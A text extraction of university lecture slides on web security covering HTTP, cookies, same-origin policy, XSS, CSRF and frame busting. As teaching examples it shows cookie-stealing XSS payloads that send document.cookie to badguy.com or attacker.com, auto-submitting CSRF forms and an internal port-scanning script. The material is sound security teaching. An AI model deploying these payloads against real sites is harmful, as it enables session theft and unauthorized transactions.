Web Security

Presenter: Yinzhi Cao
Slides Inherited and Modified from Prof. John Mitchell
Reported Web Vulnerabilities "In the Wild"
Web application vulnerabilities

Cumulative Count of Web Application Vulnerability Disclosures
1998-2009

Percentage of Vulnerability Disclosures that Affect Web Applications 2009

Web Applications: 49%
Others: 51%

Source: IBM X-Force®
Goals of web security

 пытається

Safely browse the web

- Users should be able to visit a variety of web sites, without incurring harm:
  - No stolen information (without user’s permission)
  - Site A cannot compromise session at Site B

Secure web applications

- Applications delivered over the web should have the same security properties we require for stand-alone applications
Network security

Network Attacker
Intercepts and controls network communication

Alice

System
Web security

Web Attacker
Sets up malicious site visited by victim; no control of network

Alice
System

Sets up malicious site visited by victim; no control of network
Web Threat Models

**Web attacker**
- Control attacker.com
- Can obtain SSL/TLS certificate for attacker.com
- User visits attacker.com
  - Or: runs attacker’s Facebook app

**Network attacker**
- Passive: Wireless eavesdropper
- Active: Evil router, DNS poisoning

**Malware attacker**
- Attacker escapes browser isolation mechanisms and run separately under control of OS
Malware attacker

- Browsers (like any software) contain exploitable bugs
  - Often enable remote code execution by web sites
  - Google study: [the ghost in the browser 2007]
    - Found Trojans on 300,000 web pages (URLs)
    - Found adware on 18,000 web pages (URLs)

- Even if browsers were bug-free, still lots of vulnerabilities on the web
  - *All* of the vulnerabilities on previous graph: XSS, SQLi, CSRF, ...
Outline

- Background
  - Http
  - Cookies
  - Rendering content
- Isolation
- Communication
- Security Case Study
  - Cross-site scripting
  - Cross-site Request Forgery
  - Frame Navigation
BACKGROUND
HTTP
URLs

Global identifiers of network-retrievable documents

Example:

http://columbia.edu:81/class?name=E6121#homework

Special characters are encoded as hex:

- %0A = newline
- %20 or + = space, %2B = + (special exception)
## HTTP Request

<table>
<thead>
<tr>
<th>Method</th>
<th>File</th>
<th>HTTP version</th>
<th>Headers</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>/index.html</td>
<td>HTTP/1.1</td>
<td>Accept: image/gif, image/x-bitmap, image/jpeg, <em>/</em></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Accept-Language: en</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Connection: Keep-Alive</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Host: <a href="http://www.example.com">www.example.com</a></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Referer: <a href="http://www.google.com?q=dingbats">http://www.google.com?q=dingbats</a></td>
</tr>
</tbody>
</table>

Data – none for GET

Blank line
## HTTP Response

<table>
<thead>
<tr>
<th>HTTP version</th>
<th>Status code</th>
<th>Reason phrase</th>
<th>Headers</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP/1.0 200 OK</td>
<td></td>
<td></td>
<td>Date: Sun, 21 Apr 1996 02:20:42 GMT</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Server: Microsoft-Internet-Information-Server/5.0</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Connection: keep-alive</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Content-Type: text/html</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Set-Cookie: ...</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Content-Length: 2543</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>&lt;HTML&gt;</code> Some data... blah, blah, blah <code>&lt;/HTML&gt;</code></td>
<td></td>
</tr>
</tbody>
</table>
COOKIES: CLIENT STATE
Cookies

- Used to store state on user’s machine

HTTP is stateless protocol; cookies add state
Cookie authentication

Browser

- POST login.cgi
  - Username & pwd
- Set-cookie: auth=val

Web Server

- Validate user
- auth=val

Auth server

- Store val

Browser

- GET restricted.html
  - Cookie: auth=val
- If YES,
  - restricted.html

Auth server

- Check val
  - YES/NO
  - restricted.html auth=val
RENDERING CONTENT
Rendering

Basic execution model

- Each browser window or frame
  - Loads content
  - Renders
    - Processes HTML and scripts to display page
    - May involve images, subframes, etc.
  - Responds to events
Document Object Model (DOM)

- Object-oriented interface used to read and write
- A web page in HTML is structured data
- DOM provides representation of this hierarchy

Examples
- Properties: `document.alinkColor`, `document.URL`
- Methods: `document.write(document.referrer)`

Also Browser Object Model (BOM)
- `window`, `document`, `frames[]`, `history`, `location`, `navigator` (type and version of browser)
Events

- User actions: OnClick, OnMouseover
- Rendering: OnLoad, OnBeforeUnload
- Timing: setTimeout(), clearTimeout()
Pages can embed content from many sources

- **Frames:** `<iframe src="//site.com/frame.html" />`<\iframe src="//site.com/frame.html" /></iframe>

- **Scripts:** `<script src="//site.com/script.js" />`</script>

- **CSS:**

  `<link rel="stylesheet" type="text/css" href="//site.com/theme.css" />`

- **Objects (flash):** [using swfobject.js script ]
  `<script> var so = new SWFObject('//site.com/flash.swf', ...,);
  so.addParam('allowscriptaccess', 'always');
  so.write('flashdiv');
  </script>`
ISOLATION
Running Remote Code is Risky

**Integrity**
- Compromise your machine
- Install malware rootkit
- Transact on your accounts

**Confidentiality**
- Read your information
- Steal passwords
- Read your email
Frame and iFrame

- Window may contain frames from different sources
  - Frame: rigid division as part of frameset
  - iFrame: floating inline frame

- iFrame example

```html
<iframe src="hello.html" width=450 height=100>
If you can see this, your browser doesn't understand IFRAME.
</iframe>
```

- Why use frames?
  - Delegate screen area to content from another source
  - Browser provides isolation based on frames
  - Parent may work even if frame is broken
Browser Sandbox

Goal
- Run remote web applications safely
- Limited access to OS, network, and browser data

Approach
- Isolate sites in different security contexts
- Browser manages resources, like an OS
Analogy

Operating system

- Primitives
  - System calls
  - Processes
  - Disk
- Principals: Users
  - Discretionary access control
- Vulnerabilities
  - Buffer overflow
  - Root exploit

Web browser

- Primitives
  - Document object model
  - Frames
  - Cookies / localStorage
- Principals: “Origins”
  - Mandatory access control
- Vulnerabilities
  - Cross-site scripting
  - Cross-site request forgery
  - Cache history attacks
  - ...
Policy Goals

- Safe to visit an evil web site

- Safe to visit two pages at the same time
  - Address bar distinguishes them

- Allow safe delegation
Same Origin Policy

- Origin = protocol://host:port

- Full access to same origin
  - Full network access
  - Read/write DOM
  - Storage
COMMUNICATION
Overview

(1) Server-client in the same origin

(2) Client-client in the same origin

(3) Client-client in different origin

(4) Server-client in different origin
Server-client in the same origin

- Http with no restriction
Client-client in the same origin

- Direct Access
- `handle = window.open("http://same-origin.org");`
- `handle.contentDocument.getElementById("myDiv");`
Windows Interact
Client-client in different origin

- postMessage
- document.domain
window.postMessage

- An API for inter-frame communication
  - A network-like channel between frames
postMessage syntax

frames[0].postMessage("Attack at dawn!", "http://b.com/");

window.addEventListener("message", function (e) {
  if (e.origin == "http://a.com") {
    ... e.data ... }
}, false);

A.com

Attack at dawn!

B.com
Why include “targetOrigin”? 

- **What goes wrong?**
  ```javascript
  frames[0].postMessage("Attack at dawn!");  
  ```

- **Messages sent to frames, not principals**
  - When would this happen?

![Diagram](image-url)
Domain Relaxation

Origin: scheme, host, (port), hasSetDomain

Try document.domain = document.domain
Server-client in different origin

- Library import
- CORS (cross origin resource sharing) in HTML5
Library import

<script src=https://seal.verisign.com/getseal?host_name=a.com></script>

- Script has privileges of imported page, NOT source server.
- Can script other pages in this origin, load more scripts
- Other forms of importing
CORS

Cross-origin network requests

- Access-Control-Allow-Origin: <list of domains>
- Access-Control-Allow-Origin: *

The image contains text related to Cross-Origin Resource Sharing (CORS) with emphasis on how to handle cross-origin requests, specifically mentioning headers such as `Access-Control-Allow-Origin`. The text explains that CORS allows a web application to make requests to a different domain, but it needs to be configured correctly to specify the origin of the request.
Cross Site Scripting (XSS)
What is XSS?

An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.

Methods for injecting malicious code:

- Reflected XSS (“type 1”)
  - the attack script is reflected back to the user as part of a page from the victim site

- Stored XSS (“type 2”)
  - the attacker stores the malicious code in a resource managed by the web application, such as a database

- Others, such as DOM-based attacks
Basic scenario: reflected XSS attack

1. visit web site
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data
XSS example: vulnerable site

- search field on victim.com:

- Server-side implementation of search.php:

  ```html
  <HTML>   <TITLE> Search Results </TITLE>
  <BODY>
  Results for <?php echo $_GET[term] ?> :
  . . .
  </BODY>   </HTML>
  ```

  echo search term into response
Bad input

Consider link: (properly URL encoded)


<script> window.open("http://badguy.com?cookie = "
+
document.cookie ) </script>

What if user clicks on this link?

1. Browser goes to victim.com/search.php
2. Victim.com returns
   <HTML> Results for <script> ... </script>
3. Browser executes script:
   - Sends badguy.com cookie for victim.com
**Results for**

```html
<html>
Results for

<script>
window.open(http://attacker.com?
... document.cookie ...)
</script>

</html>
```
Basic scenario: reflected XSS attack

1. Collect email addr
2. send malicious email
3. click on link
4. echo user input
5. send valuable data

Email version

Attack Server

User Victim

Server Victim
2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Adobe PDF viewer “feature” (version <= 7.9)

PDF documents execute JavaScript code

http://path/to/pdf/
  file.pdf#whatever_name_you_want=javascript:co
de_here

The code will be executed in the context of the domain where the PDF files is hosted
This could be used against PDF files hosted on the local filesystem

Here’s how the attack works:

- Attacker locates a PDF file hosted on website.com
- Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion

```
http://website.com/path/to/file.pdf#s=javascript:alert("xss");)
```

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes

Note: alert is just an example. Real attacks do something worse.
And if that doesn’t bother you...

PDF files on the local filesystem:

```
file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");
```

JavaScript Malware now runs in local context with the ability to read local files ...
Reflected XSS attack

1. User Victim
2. Attack Server
3. Click on link
4. Echo user input
5. Send valuable data

Send bad stuff
Reflect it back

Server Victim
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Steal valuable data

User Victim

Server Victim

Attack Server

Download it
MySpace.com  (Samy worm)

.users can post HTML on their pages
- MySpace.com ensures HTML contains no
  <script>, <body>, onclick, <a href=javascript://>
- ... but can do Javascript within CSS tags:
  <div style="background:url('javascript:alert(1)')">
  And can hide "javascript" as "java\nscript"

- With careful javascript hacking:
  - Samy worm infects anyone who visits an infected
    MySpace page ... and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Stored XSS using images

Suppose pic.jpg on web server contains HTML!

- request for http://site.com/pic.jpg results in:

```
HTTP/1.1 200 OK
...
Content-Type: image/jpeg

<html> fooled ya </html>
```

- IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
  - What if attacker uploads an “image” that is a script?
DOM-based XSS (no server used)

Example page

```html
<HTML>
  <TITLE>Welcome!</TITLE>
  Hi <SCRIPT>
    var pos = document.URL.indexOf("name=") + 5;
    document.write(document.URL.substring(pos,document.URL.length));
  </SCRIPT>
</HTML>
```

Works fine with this URL

http://www.example.com/welcome.html?name=Joe

But what about this one?

http://www.example.com/welcome.html?name=
  <script>alert(document.cookie)</script>

Amit Klein ... XSS of the Third Kind
Cross Site Request Forgery
Basic picture

Q: how long do you stay logged on to Gmail?
Cross Site Request Forgery (CSRF)

Example:

- User logs in to bank.com
  - Session cookie remains in browser state

- User visits another site containing:
  
  ```html
  <form name=F action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.F.submit(); </script>
  ```

- Browser sends user auth cookie with request
  - Transaction will be fulfilled

Problem:

- cookie auth is insufficient when side effects occur
Form post with cookie

www.attacker.com

GET /blog HTTP/1.1

User credentials

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
recipient=attacker&amount=$100
Cookie: SessionID=523FA4cd2E

HTTP/1.1 200 OK
Transfer complete!

www.bank.com
Cookieless Example: Home Router

1. Configure router
2. Visit site
3. Receive malicious page
4. Send forged request

User

Home router

Bad web site
Attack on Home Router

Fact:
- 50% of home users have broadband router with a default or no password

Drive-by Pharming attack: User visits malicious site
- JavaScript at site scans home network looking for broadband router:
  - SOP allows “send only” messages
  - Detect success using onerror:
    ```html
    <IMG SRC=192.168.0.1 onError = do() >
    ```
- Once found, login to router and change DNS server

Problem: “send-only” access sufficient to reprogram router
CSRF Defenses

- Secret Validation Token
  
  ![Dragonfly](image)
  ![Rails](image)

  ```html
  <input type=hidden value=23a3af01b>
  ```

- Referer Validation
  
  ![Facebook](image)

  Referer: http://www.facebook.com/home.php

- Custom HTTP Header
  
  ![Google](image)

  X-Requested-By: XMLHttpRequest
Secret Token Validation

- Requests include a hard-to-guess secret
  - Unguessability substitutes for unforgeability

- Variations
  - Session identifier
  - Session-independent token
  - Session-dependent token
  - HMAC of session identifier
Secret Token Validation

Add a Slice
Slice Size
- 256 slice $20.00/month - 10GB HD, 100GB BW
- 512 slice $38.00/month - 20GB HD, 200GB BW
- 1GB slice $70.00/month - 40GB HD, 400GB BW
- 2GB slice $130.00/month - 80GB HD, 800GB BW
- 4GB slice $250.00/month - 160GB HD, 1600GB BW
- 8GB slice $450.00/month - 320GB HD, 2000GB BW
- 15.5GB slice $800.00/month - 620GB HD, 2000GB BW

System Image
Ubuntu 8.04.1 LTS (hardy)

Slice Name

NOTE: You will be charged a prorated amount based upon the number of days remaining in your current billing period.
Referer Validation

Facebook Login

For your security, never enter your Facebook password on sites not located on Facebook.com.

Email: 
Password: 

Remember me

Login or Sign up for Facebook

Forgot your password?
HTTP Referer header
- Referer: http://www.facebook.com/
- Referer: http://www.attacker.com/evil.html
- Referer:

Lenient Referer validation
- Doesn't work if Referer is missing

Strict Referer validation
- Secure, but Referer is sometimes absent...
Referer Privacy Problems

- Referer may leak privacy-sensitive information
  

- Common sources of blocking:
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS -> HTTP transitions
  - User preference in browser
  - Buggy user agents

- Site cannot afford to block these users
Suppression over HTTPS is low
Custom Header Defense

- XMLHttpRequest is for same-origin requests
  - Can use setRequestHeader within origin
- Limitations on data export format
  - No setRequestHeader equivalent
  - XHR2 has a whitelist for cross-site requests
- Issue POST requests via AJAX:

- Doesn't work across domains

X-Requested-By: XMLHttpRequest
Broader view of CSRF

- Abuse of cross-site data export feature
  - From user’s browser to honest server
  - Disrupts integrity of user’s session

- Why mount a CSRF attack?
  - Network connectivity
  - Read browser state
  - Write browser state

- Not just “session riding”
Login CSRF

GET /blog HTTP/1.1

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&amp;password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34
Payments Login CSRF

Sura-Sura Kanji Quizzer provides an interface for studying these images.

Wow! This site is so cool! How can I show my appreciation?

Sura-Sura Kanji Quizzer is supported by banner advertisements, but you can also support Sura-Sura Kanji Quizzer via PayPal donation:

How does the quizzer choose which kanji to display?

The displayed kanji is chosen at random from among the active kanji. Special effort is taken to avoid displaying the same kanji twice in a row. It might still happen, however, if only one kanji is active.

How should I use the Sura-Sura Kanji Quizzer service?

All we ask is that you use the quizzer honestly. Bad data will make the statistics less useful.

How does the quizzer calculate the "success rate" of a user?

The formula is (Times Succeeded) / (Times Viewed). If you view a kanji but do not click the "Success" button (for example, if you click a link to some other part of the site), that counts against your success rate. Please do not worry too much about
Payments Login CSRF

PayPal is the safer, easier way to pay

PayPal securely processes payments for Kanji Quizzer. You can finish paying in a few clicks.

Why use PayPal?
Use your credit card online without exposing your card number to merchants.

Speed through checkout. No need to enter your card number or address.

Don't have a PayPal account?
Use your credit card or bank account (where available). Continue

LOG IN TO PAYPAL
Email: colinj@cs.stanford.edu
Password: **********

Log In
Payments Login CSRF

Logging in - PayPal - Mozilla Firefox

PayPal

Logging in

If this page appears for more than 5 seconds, click here to reload.
Login CSRF

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
Cookie: SessionID=ZA1Fa34

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34
Sites can redirect browser
Attack on origin/referer header

What if honest site sends POST to attacker.com?

Solution: origin header records redirect
CSRF Recommendations

- **Login CSRF**
  - Strict Referer/Origin header validation
  - Login forms typically submit over HTTPS, not blocked

- **HTTPS sites, such as banking sites**
  - Use strict Referer/Origin validation to prevent CSRF

- **Other**
  - Use Ruby-on-Rails or other framework that implements secret token method correctly

- **Origin header**
  - Alternative to Referer with fewer privacy problems
  - Send only on POST, send only necessary data
  - Defense against redirect-based attacks
NAVIGATION
A Guninski Attack

```javascript
window.open("https://attacker.com/", "awglogin");
```
What should the policy be?
## Legacy Browser Behavior

<table>
<thead>
<tr>
<th>Browser</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 6 (default)</td>
<td>Permissive</td>
</tr>
<tr>
<td>IE 6 (option)</td>
<td>Child</td>
</tr>
<tr>
<td>IE7 (no Flash)</td>
<td>Descendant</td>
</tr>
<tr>
<td>IE7 (with Flash)</td>
<td>Permissive</td>
</tr>
<tr>
<td>Firefox 2</td>
<td>Window</td>
</tr>
<tr>
<td>Safari 3</td>
<td>Permissive</td>
</tr>
<tr>
<td>Opera 9</td>
<td>Window</td>
</tr>
<tr>
<td>HTML 5</td>
<td>Child</td>
</tr>
</tbody>
</table>
Window Policy Anomaly
## Legacy Browser Behavior

<table>
<thead>
<tr>
<th>Browser</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 6 (default)</td>
<td>Permissive</td>
</tr>
<tr>
<td>IE 6 (option)</td>
<td>Child</td>
</tr>
<tr>
<td>IE7 (no Flash)</td>
<td>Descendant</td>
</tr>
<tr>
<td>IE7 (with Flash)</td>
<td>Permissive</td>
</tr>
<tr>
<td>Firefox 2</td>
<td>Window</td>
</tr>
<tr>
<td>Safari 3</td>
<td>Permissive</td>
</tr>
<tr>
<td>Opera 9</td>
<td>Window</td>
</tr>
<tr>
<td>HTML 5</td>
<td>Child</td>
</tr>
</tbody>
</table>
## Adoption of Descendant Policy

<table>
<thead>
<tr>
<th>Browser</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE7 (no Flash)</td>
<td>Descendant</td>
</tr>
<tr>
<td>IE7 (with Flash)</td>
<td>Descendant</td>
</tr>
<tr>
<td>Firefox 3</td>
<td>Descendant</td>
</tr>
<tr>
<td>Safari 3</td>
<td>Descendant</td>
</tr>
<tr>
<td>Opera 9</td>
<td>(many policies)</td>
</tr>
<tr>
<td>HTML 5</td>
<td>Descendant</td>
</tr>
</tbody>
</table>
Secure Cookies

- Provides confidentiality against network attacker
  - Browser will only send cookie back over HTTPS

- ... but no integrity
  - Can rewrite secure cookies over HTTP
    - network attacker can rewrite secure cookies
    - can log user into attacker’s account
httpOnly Cookies

- Cookie sent over HTTP(s), but not accessible to scripts
  - cannot be read via `document.cookie`
  - Helps prevent cookie theft via XSS

... but does not stop most other risks of XSS bugs
FRAMES AND FRAME BUSTING
Frames

- Embed HTML documents in other documents

```html
<iframe name="myframe"
    src="http://www.google.com/">
    This text is ignored by most browsers.
</iframe>
```
Frame Busting

Goal: prevent web page from loading in a frame
- example: opening login page in a frame will display correct passmark image

Frame busting:

```javascript
if (top !== self) {
  top.location.href = location.href;
}
```
Better Frame Busting

Problem: Javascript OnUnload event

Try this instead:

```html
<body onUnload="javascript: cause_an_abort;"> if (top != self)  
top.location.href = location.href  
else { ... code of page here ...}
```
THE END
HTML Image Tags

<html>
  ...
  <p> ... </p>
  ...
  <img src="http://example.com/sunset.gif" height="50" width="100">
</html>

Displays this nice picture ➔
Security issues?
Image tag security issues

- Communicate with other sites
- Hide resulting image
  - `<img src="..." height="1" width="1">`
- Spoof other sites
  - Add logos that fool a user

Important Point: A web page can send information to any site
JavaScript onError

Basic function
- Triggered when error occurs loading a document or an image

Example

```
<img src="image.gif"
    onerror="alert('The image could not be loaded.')"
/>
```

- Runs onError handler if image does not exist and cannot load

http://www.w3schools.com/jsref/jsref_onError.asp
When response header indicates that page is not an image, the browser stops and notifies JavaScript via the onerror handler.

```html
<html><body><img id="test" style="display: none">
<script>
    var test = document.getElementById('test');
    var start = new Date();
    test.onerror = function() {
        var end = new Date();
        alert("Total time: " + (end - start));
    }
    test.src = "http://www.example.com/page.html";
</script>
</body></html>
```
Port scanning behind firewall

**JavaScript can:**
- Request images from internal IP addresses
  - Example: `<img src="192.168.0.4:8080"/>
- Use timeout/onError to determine success/failure
- Fingerprint webapps using known image names
Remote scripting

Goal
- Exchange data between a client-side app running in a browser and server-side app, without reloading page

Methods
- Java Applet/ActiveX control/Flash
  - Can make HTTP requests and interact with client-side JavaScript code, but requires LiveConnect (not available on all browsers)
- XML-RPC
  - Open, standards-based technology that requires XML-RPC libraries on server and in your client-side code.
- Simple HTTP via a hidden IFRAME
  - IFRAME with a script on your web server (or database of static HTML files) is by far the easiest of the three remote scripting options

Important Point: A web can maintain bi-directional communication with browser (until user closes/quits)

Cookie Security Policy

- **Uses:**
  - User authentication
  - Personalization
  - User tracking: e.g. Doubleclick (3rd party cookies)

- **Browser will store:**
  - At most 20 cookies/site, 3 KB / cookie

- **Origin is the tuple `<domain, path>`**
  - Can set cookies valid across a domain suffix